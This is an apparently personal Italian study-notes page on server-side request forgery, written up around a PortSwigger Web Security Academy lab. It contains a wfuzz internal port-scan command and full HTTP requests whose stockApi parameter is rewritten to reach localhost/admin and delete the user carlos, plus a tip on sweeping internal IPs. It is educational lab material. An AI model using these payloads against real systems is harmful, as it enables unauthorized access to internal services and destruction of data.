Quartz 4

Che cos'è e primi comandi

3 min read

tags: SSRF exploit web http

Sostanzialmente questa vulnerabilità si presenta quando il server vittima non è configurato bene e permette ad un utente malevolo di ricavare informazioni che non dovrebbe ottenere. Per esempio potrebbe succedere che un sito abbia delle porte aperte pubbliche che quindi possiamo vedere tramite nmap ma anche che abbia all’interno del server delle porte aperte non esposte al pubblico che potrebbero contenere delle informazioni sensibili.

Per ottenere quelle informazioni sensibili abbiamo bisogno di un URL che ci permetta di inserire un url come per esempio:

http://INDIRIZZO_IP/utils.php?url=Cose

Se noi al posto di “Cose” mettiamo nuovamente il suo indirizzo IP e non ci vengono restituiti errori allora è molto probabile che la macchina sia vulnerabile ad un SSRF.

Per scoprire quindi se ci sono porte nascoste aperte all’interno della macchina possiamo fare un enumerazione della macchina tramite wfuzz come per esempio:

wfuzz -c -t 200 --hl=0 -z range,1-65535 'http://INDIRIZZO_IP/utlis.php?url=http://INDIRIZZO_IP:FUZZ'

Se con questo comando troviamo delle porte che non erano aperte con nmap significa che quella porta era aperta, ma nascosta e per andare a vedere cosa contiene quella porta possiamo andare su un browser e digitare il payload con l’aggiunta della porta, quindi se ipotizziamo di aver trovato la porta 9000 che non avevamo trovato con nmap possiamo andare nel browser e digitare:

http://INDIRIZZO_IP/utlis.php?url=http://INDIRIZZO_IP:9000

E ci apparirà il contenuto nascosto.

BurpSuite

Un altro modo per scoprire una SSRF è tramite BurpSuite perchè tramite Burpuite é possibile vedere se la pagina fa richieste per esempio tramite un’API ad un altro server e se permette di modificare la richiesta fatta tramite API per esempio tramite una richiesta locale come http://localhost/admin e ci risponde con la pagina richiesta significa che è possibile sfruttare una SSRF e modificare di conseguenza i dati di quella pagina come nel seguente esempio:

Richiesta originale

POST /product/stock HTTP/2
Host: 0abc003a04023244813657450064001f.web-security-academy.net
Cookie: session=k5GKo8Nxt06Jx54P2jMoTn4rx3dfa5lu
Content-Length: 107
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not A(Brand";v="8", "Chromium";v="132"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://0abc003a04023244813657450064001f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0abc003a04023244813657450064001f.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
 
#Questa qua sotto è la richiesta vulnerabile:
 
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D2

Richiesta modificata

POST /product/stock HTTP/2
Host: 0abc003a04023244813657450064001f.web-security-academy.net
Cookie: session=k5GKo8Nxt06Jx54P2jMoTn4rx3dfa5lu
Content-Length: 38
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not A(Brand";v="8", "Chromium";v="132"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://0abc003a04023244813657450064001f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0abc003a04023244813657450064001f.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
 
#Richiesta modificata per accedere alla pagina
 
stockApi=http://localhost/admin/

Nell’esercitazione chiedeva di cancellare il nome utente Carlos che attraverso la risposta html della richiesta precedente era possibile vedere la richiesta che faceva l’API al server che doveva cancellare l’utente:

POST /product/stock HTTP/2
Host: 0abc003a04023244813657450064001f.web-security-academy.net
Cookie: session=k5GKo8Nxt06Jx54P2jMoTn4rx3dfa5lu
Content-Length: 38
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not A(Brand";v="8", "Chromium";v="132"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://0abc003a04023244813657450064001f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0abc003a04023244813657450064001f.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
 
#Richiesta modificata per cancellare il nome utente carlos
 
stockApi=http://localhost/admin/delete?username=carlos

Bruteforce

Tramite BurpSuite è anche possibile fare un bruteforce su un determinato indirizzo IP locale, metti che trovi un indirizzo come 192.168.0.1 che fa una richiesta tramite API, potresti selezionare l’ultima cifra in questo caso 1 e fare un attacco a dizionario con al posto delle parole i numeri che vanno da 0 a 255 e vedere se qualche risposta si differenzia dalle altre e il server risponde ad un determinato indirizzo IP. Se risponde significa che è presente una SSRF

Graph View

Backlinks